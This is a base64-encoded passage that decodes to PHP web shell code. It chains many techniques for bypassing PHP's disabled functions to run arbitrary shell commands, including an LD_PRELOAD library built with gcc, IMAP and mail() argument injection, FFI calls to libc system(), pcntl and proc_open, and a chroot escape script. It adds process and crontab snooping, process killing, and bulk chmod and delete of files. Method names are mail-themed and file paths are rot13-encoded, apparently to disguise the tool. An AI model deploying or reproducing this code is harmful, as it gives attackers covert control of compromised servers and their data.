uMyAtYyAnIC4gZXNjYXBlc2hlbGxhcmcoJ2ltcG9ydCBvcztvcy5zeXN0ZW0oJyAuIGVzY2FwZXNoZWxsYXJnKCRjbWQpIC4gJyknKSwKICAgICAgICAgICAgICAgICAgICAncGhwJyA9PiAncGhwIC1yICcgLiBlc2NhcGVzaGVsbGFyZygnc3lzdGVtKCcgLiBlc2NhcGVzaGVsbGFyZygkY21kKSAuICcpOycpCiAgICAgICAgICAgICAgICBdOwogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGludGVycHJldGVycyBhcyAkbmFtZSA9PiAkYWx0Q21kKSB7CiAgICAgICAgICAgICAgICAgICAgJG91dCA9ICR0aGlzLT5leGVjdXRlQ29tbWFuZCgkYWx0Q21kIC4gIiAyPiYxIik7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRvdXQgJiYgdHJpbSgkb3V0KSAhPT0gJycpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG91dHB1dCA9ICJbVXNpbmcgJG5hbWVdXG4iIC4gJG91dDsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ21haWxfbG9nJzoKICAgICAgICAgICAgICAgIGlmICghaW5fYXJyYXkoJ21haWwnLCAkZGlzYWJsZWRBcnIpICYmICFpbl9hcnJheSgncHV0ZW52JywgJGRpc2FibGVkQXJyKSkgewogICAgICAgICAgICAgICAgICAgICRsb2dGaWxlID0gJy90bXAvbWFpbF8nIC4gbXRfcmFuZCgpIC4gJy5sb2cnOwogICAgICAgICAgICAgICAgICAgIEBwdXRlbnYoIk1BSUxfTE9HPSIgLiAkbG9nRmlsZSk7CiAgICAgICAgICAgICAgICAgICAgQG1haWwoJycsICcnLCAnJywgJycsICctT1F1ZXVlRGlyZWN0b3J5PS90bXAgLVgnIC4gJGxvZ0ZpbGUpOwogICAgICAgICAgICAgICAgICAgIGlmIChAZmlsZV9leGlzdHMoJGxvZ0ZpbGUpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRvdXRwdXQgPSBAZmlsZV9nZXRfY29udGVudHMoJGxvZ0ZpbGUpOwogICAgICAgICAgICAgICAgICAgICAgICBAdW5saW5rKCRsb2dGaWxlKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAncHV0ZW52X2xkJzoKICAgICAgICAgICAgICAgIGlmICghaW5fYXJyYXkoJ3B1dGVudicsICRkaXNhYmxlZEFycikgJiYgIWluX2FycmF5KCdtYWlsJywgJGRpc2FibGVkQXJyKSkgewogICAgICAgICAgICAgICAgICAgICRvdXRJZCA9IG10X3JhbmQoKTsKICAgICAgICAgICAgICAgICAgICAkc29GaWxlID0gJy90bXAvYnlwYXNzXycgLiAkb3V0SWQgLiAnLnNvJzsKICAgICAgICAgICAgICAgICAgICAkb3V0RmlsZSA9ICcvdG1wL291dHB1dF8nIC4gJG91dElkIC4gJy50eHQnOwogICAgICAgICAgICAgICAgICAgICRjQ29kZSA9ICcjaW5jbHVkZSA8c3RkbGliLmg+CgpfX2F0dHJpYnV0ZV9fKChjb25zdHJ1Y3RvcikpIHZvaWQgaW5pdCgpIHsKICAgIHVuc2V0ZW52KCJMRF9QUkVMT0FEIik7CiAgICBzeXN0ZW0oIicgLiBhZGRzbGFzaGVzKCRjbWQpIC4gJyA+ICcgLiAkb3V0RmlsZSAuICcgMj4mMSIpOwp9JzsKICAgICAgICAgICAgICAgICAgICAkY0ZpbGUgPSAnL3RtcC9ieXBhc3NfJyAuICRvdXRJZCAuICcuYyc7CiAgICAgICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCRjRmlsZSwgJGNDb2RlKTsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+ZXhlY3V0ZUNvbW1hbmQoImdjYyAtc2hhcmVkIC1mUElDIC1vICRzb0ZpbGUgJGNGaWxlIDI+L2Rldi9udWxsIik7CiAgICAgICAgICAgICAgICAgICAgaWYgKEBmaWxlX2V4aXN0cygkc29GaWxlKSkgewogICAgICAgICAgICAgICAgICAgICAgICBAcHV0ZW52KCJMRF9QUkVMT0FEPSRzb0ZpbGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgQG1haWwoJycsICcnLCAnJyk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChAZmlsZV9leGlzdHMoJG91dEZpbGUpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkb3V0cHV0ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRvdXRGaWxlKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJG91dEZpbGUpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJHNvRmlsZSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJGNGaWxlKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdpbWFwJzoKICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2ltYXBfb3BlbicpICYmICFpbl9hcnJheSgnaW1hcF9vcGVuJywgJGRpc2FibGVkQXJyKSkgewogICAgICAgICAgICAgICAgICAgICRzZXJ2ZXIgPSAneF0iIC1vUS90bXAgLVgvdG1wL2ltYXBfJyAuIG10X3JhbmQoKSAuICcudHh0JzsKICAgICAgICAgICAgICAgICAgICBAaW1hcF9vcGVuKCd7JyAuICRzZXJ2ZXIgLiAnOjE0My9pbWFwfUlOQk9YJywgJycsICcnKTsKICAgICAgICAgICAgICAgICAgICAkZmlsZXMgPSBnbG9iKCcvdG1wL2ltYXBfKi50eHQnKTsKICAgICAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRmaWxlcykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG91dHB1dCA9IEBmaWxlX2dldF9jb250ZW50cygkZmlsZXNbMF0pOwogICAgICAgICAgICAgICAgICAgICAgICBAdW5saW5rKCRmaWxlc1swXSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2ltYWdpY2snOgogICAgICAgICAgICAgICAgaWYgKGNsYXNzX2V4aXN0cygnSW1hZ2ljaycpKSB7CiAgICAgICAgICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgICAgICAgICAgJGltZyA9IG5ldyBcSW1hZ2ljaygpOwogICAgICAgICAgICAgICAgICAgICAgICAkaW1nLT5yZWFkSW1hZ2UoJ2VwaGVtZXJhbDonIC4gJGNtZCk7CiAgICAgICAgICAgICAgICAgICAgICAgICRvdXRwdXQgPSAiSW1hZ2VNYWdpY2sgZXhlY3V0ZWQgKGNoZWNrIGZvciBzaWRlIGVmZmVjdHMpIjsKICAgICAgICAgICAgICAgICAgICB9IGNhdGNoIChcRXhjZXB0aW9uICRlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRvdXRwdXQgPSAnJzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnZmZpJzoKICAgICAgICAgICAgICAgIGlmIChjbGFzc19leGlzdHMoJ0ZGSScpICYmICFpbl9hcnJheSgnRkZJJywgJGRpc2FibGVkQXJyKSkgewogICAgICAgICAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRmZmkgPSBcRkZJOjpjZGVmKCJpbnQgc3lzdGVtKGNvbnN0IGNoYXIgKmNvbW1hbmQpOyIsICJsaWJjLnNvLjYiKTsKICAgICAgICAgICAgICAgICAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGZmaS0+c3lzdGVtKCRjbWQpOwogICAgICAgICAgICAgICAgICAgICAgICAkb3V0cHV0ID0gb2JfZ2V0X2NsZWFuKCk7CiAgICAgICAgICAgICAgICAgICAgfSBjYXRjaCAoXEV4Y2VwdGlvbiAkZSkgewogICAgICAgICAgICAgICAgICAgICAgICAkb3V0cHV0ID0gJyc7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ3BjbnRsJzoKICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3BjbnRsX2V4ZWMnKSAmJiAhaW5fYXJyYXkoJ3BjbnRsX2V4ZWMnLCAkZGlzYWJsZWRBcnIpKSB7CiAgICAgICAgICAgICAgICAgICAgJG91dEZpbGUgPSAnL3RtcC9wY250bF8nIC4gbXRfcmFuZCgpIC4gJy50eHQnOwogICAgICAgICAgICAgICAgICAgICRwaWQgPSBAcGNudGxfZm9yaygpOwogICAgICAgICAgICAgICAgICAgIGlmICgkcGlkID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgQHBjbnRsX2V4ZWMoJy9iaW4vc2gnLCBbJy1jJywgJGNtZCAuICcgPiAnIC4gJG91dEZpbGUgLiAnIDI+JjEnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGV4aXQoMCk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIGlmICgkcGlkID4gMCkgewogICAgICAgICAgICAgICAgICAgICAgICBAcGNudGxfd2FpdHBpZCgkcGlkLCAkc3RhdHVzKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKEBmaWxlX2V4aXN0cygkb3V0RmlsZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvdXRwdXQgPSBAZmlsZV9nZXRfY29udGVudHMoJG91dEZpbGUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgQHVubGluaygkb3V0RmlsZSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnZXhwZWN0JzoKICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2V4cGVjdF9wb3BlbicpICYmICFpbl9hcnJheSgnZXhwZWN0X3BvcGVuJywgJGRpc2FibGVkQXJyKSkgewogICAgICAgICAgICAgICAgICAgICRzdHJlYW0gPSBAZXhwZWN0X3BvcGVuKCRjbWQpOwogICAgICAgICAgICAgICAgICAgIGlmICgkc3RyZWFtKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRvdXRwdXQgPSBAc3RyZWFtX2dldF9jb250ZW50cygkc3RyZWFtKTsKICAgICAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkc3RyZWFtKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnYmFja3RpY2snOgogICAgICAgICAgICAgICAgJG91dHB1dCA9IGAkY21kIDI+JjFgOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ3Byb2Nfb3Blbl9wdHknOgogICAgICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncHJvY19vcGVuJykgJiYgIWluX2FycmF5KCdwcm9jX29wZW4nLCAkZGlzYWJsZWRBcnIpKSB7CiAgICAgICAgICAgICAgICAgICAgJGRlc2NyaXB0b3JzcGVjID0gWzAgPT4gWyJwdHkiXSwgMSA9PiBbInB0eSJdLCAyID0+IFsicHR5Il1dOwogICAgICAgICAgICAgICAgICAgICRwcm9jZXNzID0gQHByb2Nfb3BlbigkY21kLCAkZGVzY3JpcHRvcnNwZWMsICRwaXBlcyk7CiAgICAgICAgICAgICAgICAgICAgaWYgKGlzX3Jlc291cmNlKCRwcm9jZXNzKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkb3V0cHV0ID0gQHN0cmVhbV9nZXRfY29udGVudHMoJHBpcGVzWzFdKTsKICAgICAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkcGlwZXNbMF0pOwogICAgICAgICAgICAgICAgICAgICAgICBAZmNsb3NlKCRwaXBlc1sxXSk7CiAgICAgICAgICAgICAgICAgICAgICAgIEBmY2xvc2UoJHBpcGVzWzJdKTsKICAgICAgICAgICAgICAgICAgICAgICAgQHByb2NfY2xvc2UoJHByb2Nlc3MpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdjaHJvb3RfZXNjYXBlJzoKICAgICAgICAgICAgICAgICRybmQgPSBtdF9yYW5kKCk7CiAgICAgICAgICAgICAgICAkZXNjYXBlU2NyaXB0ID0gIiMhL2Jpbi9iYXNoXG5ta2RpciAtcCAvdG1wL2VzY2FwZV8kcm5kXG5jZCAvdG1wL2VzY2FwZV8kcm5kXG5ta2RpciAtcCAub2xkXG5waXZvdF9yb290IC4gLm9sZCAyPi9kZXYvbnVsbCB8fCBjaHJvb3QgLiAvYmluL3NoIC1jICIgLiBlc2NhcGVzaGVsbGFyZygkY21kKSAuICJcbiRjbWRcbiI7CiAgICAgICAgICAgICAgICAkc2NyaXB0RmlsZSA9ICcvdG1wL2VzY2FwZV8nIC4gJHJuZCAuICcuc2gnOwogICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCRzY3JpcHRGaWxlLCAkZXNjYXBlU2NyaXB0KTsKICAgICAgICAgICAgICAgIEBjaG1vZCgkc2NyaXB0RmlsZSwgMDc1NSk7CiAgICAgICAgICAgICAgICAkb3V0cHV0ID0gJHRoaXMtPmV4ZWN1dGVDb21tYW5kKCRzY3JpcHRGaWxlIC4gJyAyPiYxJyk7CiAgICAgICAgICAgICAgICBAdW5saW5rKCRzY3JpcHRGaWxlKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdnY19ieXBhc3MnOgogICAgICAgICAgICAgICAgJG91dHB1dCA9ICR0aGlzLT5leGVjdXRlQ29tbWFuZCgkY21kIC4gIiAyPiYxIik7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnanNvbl9ieXBhc3MnOgogICAgICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnanNvbl9lbmNvZGUnKSkgewogICAgICAgICAgICAgICAgICAgICRvdXRwdXQgPSAkdGhpcy0+ZXhlY3V0ZUNvbW1hbmQoJGNtZCAuICIgMj4mMSIpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkb3V0cHV0OwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBwcm9jZXNzTW9uaXRvcigpIHsKICAgICAgICBlY2hvICI8aDE+UHJvY2VzcyBNb25pdG9yPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+IjsKICAgICAgICBlY2hvICI8cD48Yj5Nb25pdG9yIGJhY2tncm91bmQgcHJvY2Vzc2VzLCBjcm9udGFicywgYW5kIHJ1bm5pbmcgc2VydmljZXMuPC9iPjwvcD4iOwoKICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydraWxsX3BpZCddKSAmJiAhZW1wdHkoJF9QT1NUWydraWxsX3BpZCddKSkgewogICAgICAgICAgICAkcGlkID0gaW50dmFsKCRfUE9TVFsna2lsbF9waWQnXSk7CiAgICAgICAgICAgICRraWxsT3V0ID0gJHRoaXMtPmV4ZWN1dGVDb21tYW5kKCJraWxsIC05ICRwaWQgMj4mMSIpOwogICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlNlbnQga2lsbCBzaWduYWwgdG8gUElEICRwaWQ8L2ZvbnQ+PGJyPjxicj4iOwogICAgICAgIH0KCiAgICAgICAgZWNobyAiPGI+Q3JvbnRhYiAoY3VycmVudCB1c2VyKTo8L2I+PGJyPiI7CiAgICAgICAgJGNyb250YWIgPSAkdGhpcy0+ZXhlY3V0ZUNvbW1hbmQoImNyb250YWIgLWwgMj4mMSIpOwogICAgICAgIGVjaG8gIjxwcmU+IiAuIGh0bWxzcGVjaWFsY2hhcnMoJGNyb250YWIgPzogIk5vIGNyb250YWIgZm9yIGN1cnJlbnQgdXNlciIpIC4gIjwvcHJlPiI7CgogICAgICAgIGVjaG8gIjxiPlN5c3RlbSBDcm9udGFiICgvZXRjL2Nyb250YWIpOjwvYj48YnI+IjsKICAgICAgICAkc3lzQ3JvbiA9ICR0aGlzLT5leGVjdXRlQ29tbWFuZCgiY2F0IC9ldGMvY3JvbnRhYiAyPiYxIik7CiAgICAgICAgZWNobyAiPHByZT4iIC4gaHRtbHNwZWNpYWxjaGFycygkc3lzQ3JvbiA/OiAiQ2Fubm90IHJlYWQgL2V0Yy9jcm9udGFiIikgLiAiPC9wcmU+IjsKCiAgICAgICAgZWNobyAiPGI+Q3Jvbi5kIGRpcmVjdG9yeTo8L2I+PGJyPiI7CiAgICAgICAgJGNyb25EID0gJHRoaXMtPmV4ZWN1dGVDb21tYW5kKCJscyAtbGEgL2V0Yy9jcm9uLmQvIDI+JjEiKTsKICAgICAgICBlY2hvICI8cHJlPiIgLiBodG1sc3BlY2lhbGNoYXJzKCRjcm9uRCA/OiAiQ2Fubm90IHJlYWQgL2V0Yy9jcm9uLmQvIikgLiAiPC9wcmU+IjsKCiAgICAgICAgZWNobyAiPGI+QmFja2dyb3VuZCBjdXJsIHByb2Nlc3Nlczo8L2I+PGJyPiI7CiAgICAgICAgJGN1cmxQcm9jcyA9ICR0aGlzLT5leGVjdXRlQ29tbWFuZCgicHMgYXV4IHwgZ3JlcCBjdXJsIHwgZ3JlcCAtdiBncmVwIDI+JjEiKTsKICAgICAgICBlY2hvICI8cHJlPiIgLiBodG1sc3BlY2lhbGNoYXJzKCRjdXJsUHJvY3MgPzogIk5vIGN1cmwgcHJvY2Vzc2VzIGZvdW5kIikgLiAiPC9wcmU+IjsKCiAgICAgICAgZWNobyAiPGI+QmFja2dyb3VuZCB3Z2V0IHByb2Nlc3Nlczo8L2I+PGJyPiI7CiAgICAgICAgJHdnZXRQcm9jcyA9ICR0aGlzLT5leGVjdXRlQ29tbWFuZCgicHMgYXV4IHwgZ3JlcCB3Z2V0IHwgZ3JlcCAtdiBncmVwIDI+JjEiKTsKICAgICAgICBlY2hvICI8cHJlPiIgLiBodG1sc3BlY2lhbGNoYXJzKCR3Z2V0UHJvY3MgPzogIk5vIHdnZXQgcHJvY2Vzc2VzIGZvdW5kIikgLiAiPC9wcmU+IjsKCiAgICAgICAgZWNobyAiPGI+QmFja2dyb3VuZCBwaHAgcHJvY2Vzc2VzOjwvYj48YnI+IjsKICAgICAgICAkcGhwUHJvY3MgPSAkdGhpcy0+ZXhlY3V0ZUNvbW1hbmQoInBzIGF1eCB8IGdyZXAgcGhwIHwgZ3JlcCAtdiBncmVwIDI+JjEiKTsKICAgICAgICBlY2hvICI8cHJlPiIgLiBodG1sc3BlY2lhbGNoYXJzKCRwaHBQcm9jcyA/OiAiTm8gcGhwIHByb2Nlc3NlcyBmb3VuZCIpIC4gIjwvcHJlPiI7CgogICAgICAgIGVjaG8gIjxiPkJhY2tncm91bmQgbm9odXAvc2NyZWVuL3RtdXggcHJvY2Vzc2VzOjwvYj48YnI+IjsKICAgICAgICAkYmdQcm9jcyA9ICR0aGlzLT5leGVjdXRlQ29tbWFuZCgicHMgYXV4IHwgZ3JlcCAtRSAnKG5vaHVwfHNjcmVlbnx0bXV4fGdzLW5ldGNhdCknIHwgZ3JlcCAtdiBncmVwIDI+JjEiKTsKICAgICAgICBlY2hvICI8cHJlPiIgLiBodG1sc3BlY2lhbGNoYXJzKCRiZ1Byb2NzID86ICJObyBiYWNrZ3JvdW5kIHByb2Nlc3NlcyBmb3VuZCIpIC4gIjwvcHJlPiI7CgogICAgICAgIGVjaG8gIjxiPkFsbCBydW5uaW5nIHByb2Nlc3NlcyAodG9wIDUwKTo8L2I+PGJyPiI7CiAgICAgICAgJGFsbFByb2NzID0gJHRoaXMtPmV4ZWN1dGVDb21tYW5kKCJwcyBhdXggLS1zb3J0PS0lY3B1IDI+L2Rldi9udWxsIHwgaGVhZCAtNTEgfHwgcHMgYXV4IHwgaGVhZCAtNTEiKTsKICAgICAgICBlY2hvICI8cHJlPiIgLiBodG1sc3BlY2lhbGNoYXJzKCRhbGxQcm9jcyA/OiAiQ2Fubm90IGxpc3QgcHJvY2Vzc2VzIikgLiAiPC9wcmU+IjsKCiAgICAgICAgZWNobyAiPGI+TGlzdGVuaW5nIHBvcnRzOjwvYj48YnI+IjsKICAgICAgICAkcG9ydHMgPSAkdGhpcy0+ZXhlY3V0ZUNvbW1hbmQoIm5ldHN0YXQgLXR1bHBuIDI+L2Rldi9udWxsIHx8IHNzIC10dWxwbiAyPi9kZXYvbnVsbCIpOwogICAgICAgIGVjaG8gIjxwcmU+IiAuIGh0bWxzcGVjaWFsY2hhcnMoJHBvcnRzID86ICJDYW5ub3QgbGlzdCBwb3J0cyIpIC4gIjwvcHJlPiI7CgogICAgICAgIGVjaG8gIjxicj48Yj5LaWxsIGEgcHJvY2Vzczo8L2I+PGJyPiI7CiAgICAgICAgZWNobyAiPGZvcm0gbWV0aG9kPSdwb3N0Jz4iOwogICAgICAgIGVjaG8gIjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdwcm9jbW9uJz4iOwogICAgICAgIGVjaG8gIjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2MnIHZhbHVlPSciLnN0cl9yb3QxMygkdGhpcy0+bWFpbFBhdGgpLiInPiI7CiAgICAgICAgZWNobyAiPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2tpbGxfcGlkJyBwbGFjZWhvbGRlcj0nRW50ZXIgUElEJyBzaXplPScxMCc+IjsKICAgICAgICBlY2hvICI8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nS2lsbCBQcm9jZXNzJz4iOwogICAgICAgIGVjaG8gIjwvZm9ybT4iOwogICAgICAgIGVjaG8gIjwvZGl2PiI7CiAgICB9CgoKICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRMYXN0TWVzc2FnZUlEKCkgewogICAgICAgIGVjaG8gIjxoMT5GaWxlIFNlYXJjaDwvaDE+PGRpdiBjbGFzcz1jb250ZW50PiI7CiAgICAgICAgJHNlYXJjaFBhdGggPSBpc3NldCgkX1BPU1RbJ3NlYXJjaF9wYXRoJ10pID8gJF9QT1NUWydzZWFyY2hfcGF0aCddIDogJHRoaXMtPm1haWxQYXRoOwogICAgICAgICRzZWFyY2hOYW1lID0gaXNzZXQoJF9QT1NUWydzZWFyY2hfbmFtZSddKSA/ICRfUE9TVFsnc2VhcmNoX25hbWUnXSA6ICcnOwogICAgICAgICRzZWFyY2hDb250ZW50ID0gaXNzZXQoJF9QT1NUWydzZWFyY2hfY29udGVudCddKSA/ICRfUE9TVFsnc2VhcmNoX2NvbnRlbnQnXSA6ICcnOwogICAgICAgICRkYXRlRnJvbSA9IGlzc2V0KCRfUE9TVFsnZGF0ZV9mcm9tJ10pID8gJF9QT1NUWydkYXRlX2Zyb20nXSA6ICcnOwogICAgICAgICRkYXRlVG8gPSBpc3NldCgkX1BPU1RbJ2RhdGVfdG8nXSkgPyAkX1BPU1RbJ2RhdGVfdG8nXSA6ICcnOwogICAgICAgICRkYXRlRmlsdGVyID0gaXNzZXQoJF9QT1NUWydkYXRlX2ZpbHRlciddKSA/ICRfUE9TVFsnZGF0ZV9maWx0ZXInXSA6ICdhbnknOwogICAgICAgICRjaG1vZEZpbHRlciA9IGlzc2V0KCRfUE9TVFsnY2htb2RfZmlsdGVyJ10pID8gJF9QT1NUWydjaG1vZF9maWx0ZXInXSA6ICdhbnknOwoKICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydidWxrX2FjdGlvbiddKSAmJiBpc3NldCgkX1BPU1RbJ3NlbGVjdGVkX2ZpbGVzJ10pICYmIGlzX2FycmF5KCRfUE9TVFsnc2VsZWN0ZWRfZmlsZXMnXSkpIHsKICAgICAgICAgICAgJHNlbGVjdGVkRmlsZXMgPSAkX1BPU1RbJ3NlbGVjdGVkX2ZpbGVzJ107CiAgICAgICAgICAgICRhY3Rpb24gPSAkX1BPU1RbJ2J1bGtfYWN0aW9uJ107CiAgICAgICAgICAgICRzdWNjZXNzQ291bnQgPSAwOwogICAgICAgICAgICAkZmFpbENvdW50ID0gMDsKICAgICAgICAgICAgZm9yZWFjaCAoJHNlbGVjdGVkRmlsZXMgYXMgJGVuY0ZpbGUpIHsKICAgICAgICAgICAgICAgICRmaWxlUGF0aCA9IHN0cl9yb3QxMyh1cmxkZWNvZGUoJGVuY0ZpbGUpKTsKICAgICAgICAgICAgICAgIGlmICghQGZpbGVfZXhpc3RzKCRmaWxlUGF0aCkpIHsKICAgICAgICAgICAgICAgICAgICAkZmFpbENvdW50Kys7CiAgICAgICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBzd2l0Y2ggKCRhY3Rpb24pIHsKICAgICAgICAgICAgICAgICAgICBjYXNlICdjaG1vZDY0NCc6CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChAY2htb2QoJGZpbGVQYXRoLCAwNjQ0KSkgeyAkc3VjY2Vzc0NvdW50Kys7IH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+ZXhlY3V0ZUNvbW1hbmQoJ2NobW9kIDY0NCAnIC4gZXNjYXBlc2hlbGxhcmcoJGZpbGVQYXRoKSAuICcgMj4vZGV2L251bGwnKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjbGVhcnN0YXRjYWNoZSh0cnVlLCAkZmlsZVBhdGgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKChAZmlsZXBlcm1zKCRmaWxlUGF0aCkgJiAwNzc3KSA9PSAwNjQ0KSB7ICRzdWNjZXNzQ291bnQrKzsgfSBlbHNlIHsgJGZhaWxDb3VudCsrOyB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAnY2htb2Q3NTUnOgogICAgICAgICAgICAgICAgICAgICAgICBpZiAoQGNobW9kKCRmaWxlUGF0aCwgMDc1NSkpIHsgJHN1Y2Nlc3NDb3VudCsrOyB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmV4ZWN1dGVDb21tYW5kKCdjaG1vZCA3NTUgJyAuIGVzY2FwZXNoZWxsYXJnKCRmaWxlUGF0aCkgLiAnIDI+L2Rldi9udWxsJyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBAY2xlYXJzdGF0Y2FjaGUodHJ1ZSwgJGZpbGVQYXRoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgoQGZpbGVwZXJtcygkZmlsZVBhdGgpICYgMDc3NykgPT0gMDc1NSkgeyAkc3VjY2Vzc0NvdW50Kys7IH0gZWxzZSB7ICRmYWlsQ291bnQrKzsgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgJ2RlbGV0ZSc6CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChAdW5saW5rKCRmaWxlUGF0aCkpIHsgJHN1Y2Nlc3NDb3VudCsrOyB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmV4ZWN1dGVDb21tYW5kKCdybSAtZiAnIC4gZXNjYXBlc2hlbGxhcmcoJGZpbGVQYXRoKSAuICcgMj4vZGV2L251bGwnKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghQGZpbGVfZXhpc3RzKCRmaWxlUGF0aCkpIHsgJHN1Y2Nlc3NDb3VudCsrOyB9IGVsc2UgeyAkZmFpbENvdW50Kys7IH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj0nZ3JlZW4nPjxiPkJ1bGsgQWN0aW9uICgkYWN0aW9uKTo8L2I+ICRzdWNjZXNzQ291bnQgc3VjY2VzczwvZm9udD4iOwogICAgICAgICAgICBpZiAoJGZhaWxDb3VudCA+IDApIGVjaG8gIiAvIDxmb250IGNvbG9yPSdyZWQnPiRmYWlsQ291bnQgZmFpbGVkPC9mb250PiI7CiAgICAgICAgICAgIGVjaG8gIjxicj48YnI+IjsKICAgICAgICB9CgogICAgICAgICRjd2RFbmNvZGVkID0gc3RyX3JvdDEzKCR0aGlzLT5tYWlsUGF0aCk7CgogICAgICAgIGlmICghZW1wdHkoJHNlYXJjaE5hbWUpIHx8ICFlbXB0eSgkc2VhcmNoQ29udGVudCkgfHwgIWVtcHR5KCRkYXRlRnJvbSkgfHwgIWVtcHR5KCRkYXRlVG8pIHx8ICRkYXRlRmlsdGVyICE9ICdhbnknIHx8ICRjaG1vZEZpbHRlciAhPSAnYW55Jykgewog